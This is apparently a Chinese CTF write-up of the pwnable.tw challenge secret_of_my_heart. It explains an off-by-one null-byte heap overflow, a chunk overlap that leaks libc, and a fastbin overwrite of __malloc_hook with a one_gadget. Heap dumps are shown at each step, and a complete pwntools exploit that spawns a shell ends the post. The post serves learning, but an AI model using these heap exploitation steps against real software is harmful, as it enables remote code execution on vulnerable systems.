LYYL' Blog

勿忧拂意,勿喜快心,勿恃久安,勿惮初难。

0%

pwnable.tw中的secret_of_my_heart

分析

首先我们看程序反编译的结果,程序一共提供了三种操作方式add,delete,show。漏洞出现在add函数中,

图片无法显示,请设置GitHub代理

可以看到此处存在一个off-by-one漏洞,是null type类型的。并且可以通过将name字段填满来泄露堆地址。

整体的漏洞利用思路就是,首先利用off-by-one漏洞在堆空间内造成堆交叉,以泄露libc的地址。然后利用堆交叉构造UAF,由于我们可以获取堆的地址,因此采用HouseofSprit的方式分配到malloc_hook部分的内存,利用malloc_printerr触发one_gadget

泄露Libc地址

利用off-by-one进行chunk overlap的流程如下

  1. 首先申请三个chunk,第2,3chunk不能是fastbin,因为其释放的时候下一个chunkprev_inuse的标志位不会改变,无法合并。注意在申请chunk 1的时候需要伪造size的大小,防止后面的检查和prev_size的改变。

    1
    2
    3
    addSecret(0x28, "1"*0x20, "1212")#0
    addSecret(0x100, "1212", "1"*0xf0+p64(0x100))#1
    addSecret(0x100, "1212", "1")#2
1
2
3
4
5
6
7
8
9
10
11
12
13
14
0x562172960000:	0x0000000000000000	0x0000000000000031<<chunk 0 size=0x30
0x562172960010: 0x0000000032313231 0x0000000000000000
0x562172960020: 0x0000000000000000 0x0000000000000000
0x562172960030: 0x0000000000000000 0x0000000000000111<<chunk 1 size=0x110
0x562172960040: 0x3131313131313131 0x3131313131313131
...padding
0x562172960120: 0x3131313131313131 0x3131313131313131
0x562172960130: 0x0000000000000100 0x0000000000000000
0x562172960140: 0x0000000000000000 0x0000000000000111<<chunk 2 size=0x110
0x562172960150: 0x0000000000000031 0x0000000000000000
...padding
0x562172960240: 0x0000000000000000 0x0000000000000000
0x562172960250: 0x0000000000000000 0x0000000000020db1<<top chunk
0x562172960260: 0x0000000000000000 0x0000000000000000
  1. 接着我们释放chunk 1,此时的chunk 2prev_inuse的位置被清除,释放chunk 0为后面的off-by-one做准备

    1
    2
    deleteSecret(1)
    deleteSecret(0)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
0x562172960000:	0x0000000000000000	0x0000000000000031<<chunk freed size=0x30
0x562172960010: 0x0000000000000000 0x0000000000000000
0x562172960020: 0x0000000000000000 0x0000000000000000
0x562172960030: 0x0000000000000000 0x0000000000000111<<chunk freed size=0x110
0x562172960040: 0x00007f01e9db3b78 0x00007f01e9db3b78<<main_arena+88 address
0x562172960050: 0x3131313131313131 0x3131313131313131
...padding
0x562172960120: 0x3131313131313131 0x3131313131313131
0x562172960130: 0x0000000000000100 0x0000000000000000<<fake chunk size=0x100
0x562172960140: 0x0000000000000110 0x0000000000000110<<chunk 2 size=prev_siz=0x110
0x562172960150: 0x0000000000000031 0x0000000000000000
...padding
0x562172960240: 0x0000000000000000 0x0000000000000000
0x562172960250: 0x0000000000000000 0x0000000000020db1<<top chunk
0x562172960260: 0x0000000000000000 0x0000000000000000
  1. 接着利用off-by-onechunk 1进行shrink,以防止继续mallocchunk 2 prev_size的改变。

    1
    addSecret(0x28, "1212", "1"*0x28)#0
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
0x562172960000:	0x0000000000000000	0x0000000000000031<<chunk 0 size=0x30
0x562172960010: 0x3131313131313131 0x3131313131313131
0x562172960020: 0x3131313131313131 0x3131313131313131
0x562172960030: 0x3131313131313131 0x0000000000000100<<shrinked chunk size=0x100
0x562172960040: 0x00007f01e9db3b78 0x00007f01e9db3b78
0x562172960050: 0x3131313131313131 0x3131313131313131
...padding
0x562172960120: 0x3131313131313131 0x3131313131313131
0x562172960130: 0x0000000000000100 0x0000000000000000<<fake chunk size=0x100
0x562172960140: 0x0000000000000110 0x0000000000000110<<chunk 2 size=prev_siz=0x110
0x562172960150: 0x0000000000000031 0x0000000000000000
...padding
0x562172960240: 0x0000000000000000 0x0000000000000000
0x562172960250: 0x0000000000000000 0x0000000000020db1<<top chunk
0x562172960260: 0x0000000000000000 0x0000000000000000
  1. 申请两块较小的chunk b1,b2,分配的chunk位于原始的chunk 1中。

    1
    2
    addSecret(0x80, "1212", "1"*0x80)#1<<b1
    addSecret(0x10, "1212", "1"*0x10)#3<<b2
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
0x562172960000:	0x0000000000000000	0x0000000000000031<<chunk 0 size=0x30
0x562172960010: 0x3131313131313131 0x3131313131313131
0x562172960020: 0x3131313131313131 0x3131313131313131
0x562172960030: 0x3131313131313131 0x0000000000000091<<chunk b1(1) size=0x90
0x562172960040: 0x3131313131313131 0x3131313131313131
...padding
0x5621729600b0: 0x3131313131313131 0x3131313131313131
0x5621729600c0: 0x3131313131313100 0x0000000000000021<<chunk b2(3) size=0x20
0x5621729600d0: 0x3131313131313131 0x3131313131313131
0x5621729600e0: 0x3131313131313100 0x0000000000000051<<freed unsorted chunk
0x5621729600f0: 0x00007f01e9db3b78 0x00007f01e9db3b78
0x562172960100: 0x3131313131313131 0x3131313131313131
0x562172960110: 0x3131313131313131 0x3131313131313131
0x562172960120: 0x3131313131313131 0x3131313131313131
0x562172960130: 0x0000000000000050 0x0000000000000000<<fakechunk size=0x100-0x90-0x20
0x562172960140: 0x0000000000000110 0x0000000000000110<<chunk 2 size=prev_size=0x100
0x562172960150: 0x0000000000000031 0x0000000000000000
...padding
0x562172960240: 0x0000000000000000 0x0000000000000000
0x562172960250: 0x0000000000000000 0x0000000000020db1<<top chunk
0x562172960260: 0x0000000000000000 0x0000000000000000
  1. 此时我们首先释放chunk b1,该chunk会被插入到unsorted bin链表中。再次释放chunk 2的话,其判断prev_inuse处于空闲位,会将上一个chunk作为空闲块,通过prev_size找到上一个空闲块,进行合并。这也是为什么我们要进行shrink chunk的原因,保证prev_size不发生改变。此时由于chunk 2top chunk相邻,整个空闲的chunk会合并到top chunk中。

    之所以首先释放chunk b1的原因是因为backward合并的过程中会调用unlink将物理相邻的上一个chunk从空闲链表中删除,因此我们需要先释放以伪造空闲指针。、

    1
    2
    deleteSecret(1)
    deleteSecret(2)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
0x562172960000:	0x0000000000000000	0x0000000000000031<<chunk 0 size=0x30
0x562172960010: 0x3131313131313131 0x3131313131313131
0x562172960020: 0x3131313131313131 0x3131313131313131
0x562172960030: 0x3131313131313131 0x0000000000020fd1<<top chunk
0x562172960040: 0x00005621729600e0 0x00007f01e9db3b78
...padding
0x5621729600b0: 0x3131313131313131 0x3131313131313131
0x5621729600c0: 0x0000000000000090 0x0000000000000020<<chunk b2(3)
0x5621729600d0: 0x3131313131313131 0x3131313131313131
0x5621729600e0: 0x3131313131313100 0x0000000000000051
0x5621729600f0: 0x00007f01e9db3b78 0x00007f01e9db3b78
0x562172960100: 0x3131313131313131 0x3131313131313131
0x562172960110: 0x3131313131313131 0x3131313131313131
0x562172960120: 0x3131313131313131 0x3131313131313131
0x562172960130: 0x0000000000000050 0x0000000000000000
0x562172960140: 0x0000000000000110 0x0000000000000110<<old chunk 2
...padding
0x562172960250: 0x0000000000000000 0x0000000000020db1<<old top chunk
0x562172960260: 0x0000000000000000 0x0000000000000000
  1. 此时我们注意到在top chunk中存在一个我们可以控制的chunk b2,此时我们再次分配三个chunk,使得第二个chunk的起始地址与chunk b2的起始地址重合,这样当我们释放chunk 2的时候,main_arena+88的地址就会写入到chunk b2的内容区域。这样我们就可以泄露libc的地址了

    这里需要注意的是我们需要分配三个chunk的原因是防止在释放chunk 2的时候其与top chunk发生合并

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    0x562172960000:	0x0000000000000000	0x0000000000000031<<chunk 0 size=0x30
    0x562172960010: 0x3131313131313131 0x3131313131313131
    0x562172960020: 0x3131313131313131 0x3131313131313131
    0x562172960030: 0x3131313131313131 0x0000000000000091<<chunk 1 size=0x90
    ...padding
    0x5621729600c0: 0x0000000000000000 0x0000000000000111<<chunk 2/b2(3) size=0x110/0x20
    0x5621729600d0: 0x00007f01e9db3b78 0x00007f01e9db3b78<<main_arena+88 address
    ...padding
    0x5621729601c0: 0x0000000000000000 0x0000000000000000
    0x5621729601d0: 0x0000000000000110 0x0000000000000090<<chunk 3 size=0x90
    ...padding
    0x562172960260: 0x0000000000000000 0x0000000000020da1<<top chunk
    0x562172960270: 0x0000000000000000 0x0000000000000000

此时我们输出chunk b2的内容之后就可以获取libc的地址了。

最终的泄露libc的脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
addSecret(0x28, "0"*0x20, "1212")#0
addSecret(0x100, "1212", "1"*0xf0+p64(0x100))#1
addSecret(0x100, "1212", "2")#2

deleteSecret(1)
deleteSecret(0)

# overwrite chunk 1 prev_inuse
addSecret(0x28, "1212", "0"*0x28)#0

addSecret(0x80, "1212", "1")#1
addSecret(0x10, "1212", "3")#3

deleteSecret(1)
deleteSecret(2)

addSecret(0x80,"1212","1")#1
addSecret(0x100,"1212","2")#2
addSecret(0x80,"1212","4")#4

deleteSecret(2)
showSecret(3)

House of spirit

此时我们已经实现了堆交叉,因此可以构造UAF效果。即利用chunk 1实现对chunk 3的控制。当我们释放chunk 1的时候,其与刚刚释放的chunk 2合并,当我们再次申请包含chunk 3的大小的堆块时,就可以实现对chunk 3的控制,改变其fd指针,从而分配到malloc_hook区域的内存,从而get_shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
deleteSecret(1)
# overwrite chunk 3
payload = "a"*0x80+p64(0)+p64(0x71)
addSecret(0x100,"1212", payload)#1
deleteSecret(3)
deleteSecret(1)

# overwrite fd pointer
payload = "a"*0x80+p64(0)+p64(0x71)+p64(malloc_hook_address-0x23)
addSecret(0x100, "1212", payload)#1
addSecret(0x60, "1212", "1212")#3
addSecret(0x60, "1212", "\x00"*3+p64(0)*2+p64(one_gadget+libc.address))#4

deleteSecret(3)
p.interactive()

这里需要注意的是在构造fake fastbin的时候需要构造fake next chunk size。这里需要在泄露libc地址的时候构造,也就是chunk 2的部分。

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
from pwn import *

context.log_level = "debug"
debug=1
if debug:
p = process(["./secret_of_my_heart"])

libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
one_gadget = 0xf02a4
gdb.attach(p)
else:
p = remote("chall.pwnable.tw",10302)
libc = ELF("./secret_of_my_heart_libc_64.so.6")
one_gadget = 0xef6c4


def addSecret(size, name , data):
p.recvuntil("choice :")
p.sendline("1")
p.recvuntil("heart : ")
p.sendline(str(size))
p.recvuntil("heart :")
p.send(name)
p.recvuntil("heart :")
p.send(data)


def showSecret(index):
p.recvuntil("choice :")
p.sendline("2")
p.recvuntil("Index :")
p.sendline(str(index))


def deleteSecret(index):
p.recvuntil("choice :")
p.sendline("3")
p.recvuntil("Index :")
p.sendline(str(index))


def exitSecret():
p.recvuntil("choice :")
p.sendline("3")


def getStartAddress():
p.recvuntil("choice :")
p.sendline(str(0x1305))


addSecret(0x28, "1"*0x20, "1212")#0
addSecret(0x100, "1212", "2"*0xf0+p64(0x100))#1
addSecret(0x100, "1212", "3")#2

deleteSecret(1)
deleteSecret(0)

# overwrite chunk 1 prev_inuse
addSecret(0x28, "1212", "0"*0x28)#0

addSecret(0x80, "1212", "1")#1
addSecret(0x10, "1212", "3")#3

deleteSecret(1)
deleteSecret(2)

fake_fastbin_size=0x70
addSecret(0x80,"1212","1")#1
addSecret(0x100,"1212","2"*0x68+p64(fake_fastbin_size))#2--3
addSecret(0x80,"1212","4")#4

deleteSecret(2)
showSecret(3)
p.recvuntil("Secret : ")
libc.address = u64(p.recvline().strip().ljust(8, "\x00"))-88-0x10-libc.symbols['__malloc_hook']
print "libc address", hex(libc.address)
malloc_hook_address = libc.symbols['__malloc_hook']

deleteSecret(1)
# overwrite chunk 3
payload = "a"*0x80+p64(0)+p64(0x71)
addSecret(0x100,"1212", payload)#1
deleteSecret(3)
deleteSecret(1)

# overwrite fd pointer
payload = "a"*0x80+p64(0)+p64(0x71)+p64(malloc_hook_address-0x23)
addSecret(0x100, "1212", payload)#1
addSecret(0x60, "1212", "1212")#3
addSecret(0x60, "1212", "\x00"*3+p64(0)*2+p64(one_gadget+libc.address))#4

deleteSecret(3)
p.interactive()

参考

Pwnable.tw secret_of_my_heart

pwnable.tw Secret of My Heart